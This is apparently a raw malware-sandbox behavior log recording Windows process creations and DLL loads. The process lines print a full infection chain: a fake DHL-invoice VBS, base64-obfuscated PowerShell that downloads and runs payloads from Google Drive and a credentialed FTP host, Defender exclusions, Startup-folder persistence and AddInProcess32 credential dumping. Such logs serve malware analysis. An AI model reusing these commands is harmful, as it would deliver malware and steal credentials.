Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\qpqzbrslzlqmxxqwczcuhtgf"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\qpqzbrslzlqmxxqwczcuhtgf"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\ajvsujdnntiralmilkxwkxswwkf"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\lladutngjbaekramcnkpuknfxzxbri"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAGIAMg' + [char]66 + 'jAGEAcw' + [char]66 + 'lAC4AYw' + [char]66 + 'vAG0ALw' + [char]66 + 'jAGwAYQ' + [char]66 + 'zAHMALg' + [char]66 + '0AHgAdAAnACAAKAAgAF0AXQ' + [char]66 + 'bAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'vAFsAIAAsACAAbA' + [char]66 + 'sAHUAbgAkACAAKA' + [char]66 + 'lAGsAbw' + [char]66 + '2AG4ASQAuACkAIAAnAEkAVg' + [char]66 + 'GAHIAcAAnACAAKA' + [char]66 + 'kAG8AaA' + [char]66 + '0AGUATQ' + [char]66 + '0AGUARwAuACkAJwAxAHMAcw' + [char]66 + 'hAGwAQwAuADMAeQ' + [char]66 + 'yAGEAcg' + [char]66 + 'iAGkATA' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMAJwAoAGUAcA' + [char]66 + '5AFQAdA' + [char]66 + 'lAEcALgApACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAOg' + [char]66 + 'dAG4AaQ' + [char]66 + 'hAG0Abw' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwA7ACkAIAApACAAJw' + [char]66 + '' + [char]66 + 'ACcAIAAsACAAJwCTIToAkyEnACAAKA' + [char]66 + 'lAGMAYQ' + [char]66 + 'sAHAAZQ' + [char]66 + 'SAC4AZw' + [char]66 + 'TAHoAQw' + [char]66 + 'CAGwAJAAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMANAA2AGUAcw' + [char]66 + 'hAEIAbQ' + [char]66 + 'vAHIARgA6ADoAXQ' + [char]66 + '0AHIAZQ' + [char]66 + '2AG4Abw' + [char]66 + 'DAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'aAGMAQg' + [char]66 + 'jAGEAJAAgAF0AXQ' + [char]66 + 'bAGUAdA' + [char]66 + '5AEIAWwA7ACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAPQAgAFgAUA' + [char]66 + 'VAHUAaAAkADsAKQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHoAeA' + [char]66 + 'iAGsAbQAkACAAPQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAOwA4AEYAVA' + [char]66 + 'VADoAOg' + [char]66 + 'dAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHQAeA' + [char]66 + 'lAFQALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHoAeA' + [char]66 + 'iAGsAbQAkADsAKQ' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAVwAuAHQAZQ' + [char]66 + 'OACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAE8ALQ' + [char]66 + '3AGUATgAoACAAPQAgAHoAeA' + [char]66 + 'iAGsAbQAkADsAKQAoAGUAcw' + [char]66 + 'vAHAAcw' + [char]66 + 'pAGQALg' + [char]66 + '6AHgAYg' + [char]66 + 'rAG0AJAA7ACkAIAAnAHQAeA' + [char]66 + '0AC4AMQAwAEwATA' + [char]66 + 'EAC8AMQAwAC8Acg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [ch	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $QDrfV = $host.Version.Major.Equals(2) ;if ( $QDrfV ) {$TZWou = [System.IO.Path]::GetTempPath();del ( $TZWou + '\Upwin.msu' );$rrlqq = 'https://drive.google.com/uc?export=download&id=';$qVgWD = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVgWD ) {$rrlqq = ($rrlqq + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$rrlqq = ($rrlqq + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yzdrg = (New-Object Net.WebClient);$yzdrg.Encoding = [System.Text.Encoding]::UTF8;$yzdrg.DownloadFile($URLKB, $TZWou + '\Upwin.msu');$mcYDf = ('C:\Users\' + [Environment]::UserName );tkplB = ($TZWou + '\Upwin.msu'); powershell.exe wusa.exe tkplB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs' -Destination ( $mcYDf + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$mkbxz.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),(-join [char[]](66, 70, 119, 71 ,121 ,97 ,85,66,77,89,49,53,55,56,64,64 )));$lBCzSg = $mkbxz.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mkbxz.dispose();$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mkbxz.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.ssalc/moc.esac2b//:sptth' , $huUPX , 'D D1D' ) );};"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x11.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x22.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c del "C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\qpqzbrslzlqmxxqwczcuhtgf"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\qpqzbrslzlqmxxqwczcuhtgf"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\ajvsujdnntiralmilkxwkxswwkf"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\lladutngjbaekramcnkpuknfxzxbri"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
